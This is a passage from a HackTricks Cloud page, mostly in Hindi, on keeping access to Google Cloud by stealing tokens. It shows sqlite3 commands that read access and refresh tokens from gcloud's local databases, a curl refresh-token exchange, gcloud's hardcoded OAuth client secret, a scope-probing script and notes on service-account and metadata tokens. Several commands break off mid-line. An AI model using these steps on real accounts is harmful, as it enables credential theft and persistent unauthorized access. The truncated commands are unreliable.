GCP - Token Persistence
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
प्रमाणीकृत उपयोगकर्ता Tokens
किसी उपयोगकर्ता का current token प्राप्त करने के लिए आप चला सकते हैं:
SQLite database से access token प्राप्त करें
```bash sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='इस पेज पर देखें कि gcloud का उपयोग करके इस token का सीधे उपयोग कैसे करें:
विवरण प्राप्त करने के लिए generate a new access token चलाएँ:
SQLite database से refresh token प्राप्त करें
```bash sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='यह भी संभव है कि refresh tokens $HOME/.config/gcloud/application_default_credentials.json और $HOME/.config/gcloud/legacy_credentials/*/adc.json में मिल जाएँ।
नया refreshed access token प्राप्त करने के लिए refresh token, client ID, और client secret के साथ निम्न चलाएँ:
Get new access token using refresh token
```bash curl -s --data client_id=Refresh tokens की वैधता को Admin > Security > Google Cloud session control में प्रबंधित किया जा सकता है, और डिफ़ॉल्ट रूप से यह 16h पर सेट होता है, हालांकि इसे कभी समाप्त न होने के लिए भी सेट किया जा सकता है:
.png)
प्रमाणीकरण प्रवाह
gcloud auth login जैसे किसी चीज़ का उपयोग करते समय प्रमाणीकरण प्रवाह ब्राउज़र में एक प्रॉम्प्ट खोलेगा और सभी scopes स्वीकार करने के बाद ब्राउज़र उस तरह का एक अनुरोध उस http पोर्ट पर भेजेगा जो टूल ने खोला है:
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
फिर, gcloud state और code का उपयोग कुछ hardcoded client_id (32555940559.apps.googleusercontent.com) और client_secret (ZmssLNjJy2998hD4CTg2ejr2) के साथ करके final refresh token data प्राप्त करेगा।
Caution
ध्यान दें कि localhost के साथ संचार HTTP में होता है, इसलिए डेटा को इंटरसेप्ट करके refresh token प्राप्त करना संभव है; हालांकि यह डेटा केवल 1 बार मान्य होता है, इसलिए यह बेकार होगा — refresh token सीधे फ़ाइल से पढ़ना आसान और बेहतर है।
OAuth Scopes
आप सभी Google scopes को https://developers.google.com/identity/protocols/oauth2/scopes पर पा सकते हैं या इन्हें चलाकर प्राप्त कर सकते हैं:
सभी Google OAuth scopes प्राप्त करें
```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u ```इस स्क्रिप्ट से देखा जा सकता है कि वह एप्लिकेशन जिसके लिए gcloud प्रमाणीकरण करता है, किन scopes को सपोर्ट कर सकती है:
gcloud के लिए समर्थित scopes का परीक्षण
```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then echo "" echo $scope fi done ```इसे निष्पादित करने के बाद जाँच की गई कि इस ऐप निम्नलिखित scopes का समर्थन करता है:
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
it’s interesting to see how this app supports the drive scope, which could allow a user to escalate from GCP to Workspace if an attacker manages to force the user to generate a token with this scope.
Check how to abuse this here.
सर्विस अकाउंट्स
Just like with authenticated users, if you manage to compromise the private key file of a service account you will be able to access it usually as long as you want.
हालाँकि, अगर आप किसी service account का OAuth token चुरा लेते हैं तो यह और भी अधिक दिलचस्प हो सकता है, क्योंकि डिफ़ॉल्ट रूप से ये tokens सिर्फ़ एक घंटे के लिए उपयोगी होते हैं, पर अगर victim private api key को delete कर देता है, तो OAuth token तब भी valid रहेगा जब तक कि वह expire नहीं हो जाता।
मेटाडेटा
Obviously, as long as you are inside a machine running in the GCP environment you will be able to access the service account attached to that machine contacting the metadata endpoint (note that the OAuth tokens you can access in this endpoint are usually restricted by scopes).
निवारक उपाय
Some remediations for these techniques are explained in https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2
संदर्भ
- https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1
- https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud

